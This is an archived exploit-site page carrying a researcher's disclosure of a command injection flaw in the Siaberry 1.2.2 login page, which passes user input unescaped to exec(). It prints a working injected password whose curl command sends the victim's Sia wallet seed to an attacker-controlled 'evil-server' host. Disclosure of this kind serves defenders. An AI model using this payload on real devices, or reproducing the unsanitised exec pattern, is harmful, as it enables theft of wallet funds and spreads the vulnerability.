exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Siaberry 1.2.2 Command Injection

Siaberry 1.2.2 Command Injection
Posted Jun 12, 2018
Authored by Space Duck

Siaberry version 1.2.2 suffers from a command injection vulnerability.

tags | exploit
SHA-256 | 45683d6965850aac680b3a71072f16baeb2ff7e2c340860c5c50330a92b46ec3

Siaberry 1.2.2 Command Injection

Change Mirror Download
## Siaberry's Command Injection Vulnerability
Today, Iad like to share several interesting vulnerabilities I discovered in Siaberry, a hardware device for earning cryptocurrency.

Siaberry runs on Sia, a decentralized marketplace for buying and selling data storage. The device is intended to give consumers a plug an play solution to sell storage on Siaas network, though the two teams have no formal relationship. As buyers purchase space, Siaberry earns income for its owner in the form of Siaas utility token, Siacoin.

I run a Sia node on my Synology NAS, but I was drawn to Siaberryas promise of a user-friendly web UI. I took Siaberry for a test drive, and I was blown away by how many serious issues I discovered within just a few hours.

## Command injection: working exploit
My most exciting finding was a command injection vulnerability on the login page.

In the video below, I demonstrate how an attacker can extract the private key from the victimas Sia wallet simply by entering a particular password on Siaberryas login page:

https://www.youtube.com/watch?v=eVOyDglf4vE

## Understanding the vulnerability
The vulnerability is so obvious that many developers and security experts could tell you exactly what the code looked like by watching the video demo above. Iall confirm your suspicions.

The problem occurred in ActionPage.php:

```
$user=$_POST['uname'];
$pass=$_POST['psw'];
exec("sudo bin/checker $user $pass", $output, $exitcode);
```

Thatas it. Thatas the whole vulnerability.

Siaberry took untrusted input directly from an HTTP POST request and immediately executed it in the shell. This was a painfully easy vulnerability to exploit.

## How the exploit works
To exploit this, I created an attack server called evil-server. From that machine, I started netcat to dump all traffic it received on port 5555. For convenience, I used a server on my local network, but the same attack would work with any server address, remote or local.

I then used foo as the username and supplied a password of `badpassword || curl -d "$(siac wallet seeds)" -X POST evil-server:5555`.

When ActionPage.php reached its exec line, it executed the following command:

```
sudo bin/checker foo badpassword || \
curl -d "$(siac wallet seeds)" -X POST evil-server:5555
```

This caused the shell to execute three different commands. The first was the command that Siaberry meant to execute:

```
sudo bin/checker foo badpassword
```

This returned a non-zero exit code because foo/badpassword was a bad username/password combination. Therefore, the shell proceeded to execute the other side of the ||, starting with the embedded command:

```
siac wallet seeds
```

This launched siac, the Sia command-line interface. Those command-line parameters tell Sia to print its wallet seed to the console. The wallet seed is a 29-word passphrase that represents the walletas private key. Anyone who has this passphrase completely controls all funds in the victimas wallet.

```
curl -d "$(siac wallet seeds)" -X POST evil-server:5555
```

Finally, the curl command made an HTTP POST request to http://evil-server:5555, sending the Sia wallet seed as the payload. The attacker, capturing messages on port 5555, recorded the victimas wallet seed, giving them the ability to steal all funds in the victimas wallet.

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close